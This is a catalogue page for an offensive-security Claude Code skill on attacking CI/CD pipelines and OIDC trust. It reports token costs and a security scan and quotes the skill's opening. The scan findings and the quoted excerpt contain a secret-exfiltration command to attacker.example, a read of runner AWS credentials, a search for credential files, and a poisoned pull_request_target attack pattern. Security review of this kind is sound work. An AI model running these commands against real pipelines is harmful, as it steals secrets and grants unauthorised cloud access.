abusing-ci-cd-oidc

abusing-ci-cd-oidc is a skill for Claude Code from trilwu/secskills. It costs 91 tokens per session (3,034 once invoked), scanned D, original, MIT.

A security-testing guide for finding weaknesses in automated build and deployment systems such as GitHub Actions, GitLab CI, and Jenkins, including links to cloud accounts.

In plain words
What is it for?
Use it to test pipeline permissions, cloud identity trust rules, runner isolation, build files, caches, and generated build files for attack paths.
Why use it?
It helps reveal how a poorly configured pipeline could expose secrets, allow attackers to take over build machines, or grant unauthorised cloud access.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Not installable: its command points at a path on the author’s own machine, so it runs nowhere else. The line is /home/runner/.aws/credentials.

Part of the secskills-offense plugin — 40 skills shipped together

Good fit Use it to test pipeline permissions, cloud identity trust rules, runner isolation, build files, caches, and generated build files for attack paths.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

This one installs as part of its plugin. Adding the marketplace and installing the plugin brings it with everything else the plugin ships.

Claude Code
/plugin marketplace add trilwu/secskills
Claude Code
/plugin install secskills-offense

Made for: Claude Code.

Or install secskills-offense, the plugin that ships this one along with the rest of its 40 skills.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for abusing-ci-cd-oidc

README.md
[![agentmods](https://agentmods.dev/badge/skills/trilwu/secskills/abusing-ci-cd-oidc/github.svg)](https://agentmods.dev/skills/trilwu/secskills/abusing-ci-cd-oidc)
Your own site
<a href="https://agentmods.dev/skills/trilwu/secskills/abusing-ci-cd-oidc"><img src="https://agentmods.dev/badge/skills/trilwu/secskills/abusing-ci-cd-oidc/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for abusing-ci-cd-oidc

Your own site · 80×15
<a href="https://agentmods.dev/skills/trilwu/secskills/abusing-ci-cd-oidc"><img src="https://agentmods.dev/badge/skills/trilwu/secskills/abusing-ci-cd-oidc.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 91 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 3,034 The whole file, excluding the scripts and references it only reads on demand.
Security scan D 5 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00091 $0.03034
Opus 5.5 $0.00036 $0.01214
Sonnet 5.5 $0.00018 $0.00607
Haiku 4.5 $0.00009 $0.00303

Measured 3mo ago against content hash 98b4412a0077, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade D, and why

abusing-ci-cd-oidc scanned grade D with 5 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 3mo ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLlowData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

env | base64 | curl -d @- https://attacker.example/exfil

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Harvests environment variablesmediumData exfiltration

Enumerating or grepping the environment for keys collects credentials unrelated to what the mod says it does.

# On a compromised runner: harvest credentials from prior jobs

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Enumerates the file system for secretsmediumData exfiltration

Searching home directories for .env, .ssh, .aws or credential files is reconnaissance for credential theft.

find / -name '.credentials' -o -name '.env' -o -name '*.pem' 2>/dev/null

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Reaches for credential filesmediumPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

cat /home/runner/.aws/credentials

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

env | base64 | curl -d @- https://attacker.example/exfil
secskills-offense/skills/abusing-ci-cd-oidc/SKILL.md · 339 lines

How it starts

The opening of the file, as written. The whole thing — 339 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Abusing CI/CD Pipelines and OIDC Federation

CI/CD pipelines are high-privilege execution environments, often with direct cloud IAM access, deploy credentials, and signing keys. OIDC federation turns a repository write into cloud credential issuance when the trust policy is too broad. A single misconfigured workflow or a wildcard subject claim can bridge the gap from "can open a pull request" to "has production cloud access."

When to Use

  • Assessing GitHub Actions, GitLab CI, or Jenkins for exploitable misconfigurations
  • Testing OIDC federation trust policies between CI providers and cloud platforms
  • Extracting secrets, tokens, or credentials from pipeline execution environments
  • Evaluating self-hosted runner isolation and shared runner risk
  • Attempting lateral movement from CI/CD into cloud accounts via OIDC
  • Reviewing build artifact integrity and cache poisoning attack surface

When NOT to Use

  • Dependency and package supply chain attacks -- use auditing-supply-chain
  • Cloud IAM exploitation not originating from CI/CD -- use exploiting-cloud-platforms
  • Static code review of pipeline definitions as pure source -- use auditing-code-for-vulnerabilities

GitHub Actions

Poisoned Workflows

pull_request_target runs in the base repo context with secrets and a write-scoped GITHUB_TOKEN, but can be triggered by a fork PR.

# Find pull_request_target triggers that check out PR head code
rg -n 'pull_request_target' -A20 .github/workflows/ | rg 'checkout|ref.*head'

# Script injection: untrusted PR/issue data interpolated into run blocks
rg -n '\$\{\{\s*github\.event\.(issue|pull_request|comment|review)' .github/workflows/

Attack pattern: fork the repo, modify the checked-out code path (build script, Makefile, test harness), open a PR. The workflow executes your code with the base repo's secrets. Exfiltrate via DNS, HTTP callback, or artifact.

Secret Exfiltration and Token Scope

# Secrets are in the environment -- exfiltrate out-of-band
env | base64 | curl -d @- https://attacker.example/exfil

# GITHUB_TOKEN scope check
curl -s -H "Authorization: token $GITHUB_TOKEN" \
  https://api.github.com/repos/OWNER/REPO -I | grep 'x-oauth-scopes'

# Check if permissions are restricted in the workflow
rg -n 'permissions:' .github/workflows/
rg -n 'permissions:\s*write-all' .github/workflows/

Read the full file on GitHub · 339 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 3mo ago First seen · 339 lines · 91 tokens per session scan D 98b4412a0077

Subscribe to this mod's changes

abusing-ci-cd-oidc is a skill published in the GitHub repository trilwu/secskills (211 stars, last pushed 2mo ago), licensed MIT. It adds 91 tokens to every session and 3,034 once invoked, about $0.0004 per session on Opus 5.5. A static security scan graded it D with 5 findings (sends data to an external url, harvests environment variables, enumerates the file system for secrets). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

Related

abusing-ci-cd-oidc compared with skills from other repositories

abusing-ci-cd-oidc next to 6 skills from other repositories
ModTypeStarsLast pushLicenceScanTokensWorks with
abusing-ci-cd-oidctrilwu/secskillsSkill2112mo agoMITD91Claude Code
ci-cd-and-automationaddyosmani/agent-skillsSkill121k6d agoMITA45Claude Code
google-cloud-slo-alert-configurationgoogle/skillsSkill25ktodayApache-2.0A65Claude Code, Codex
google-cicd-pipeline-designgoogle/skillsSkill25ktodayApache-2.0A132Claude Code, Codex
chinese-git-workflowjnMetaCode/superpowers-zhSkill8.6k14d agoMITA69Claude Code
afrexai-performance-engineeringLeoYeAI/openclaw-master-skillsSkill2.2k8d agoMITA71Claude Code, Codex
schedule-recipemohitagw15856/pm-claude-skillsSkill1.6kyesterdayMITA94Claude Code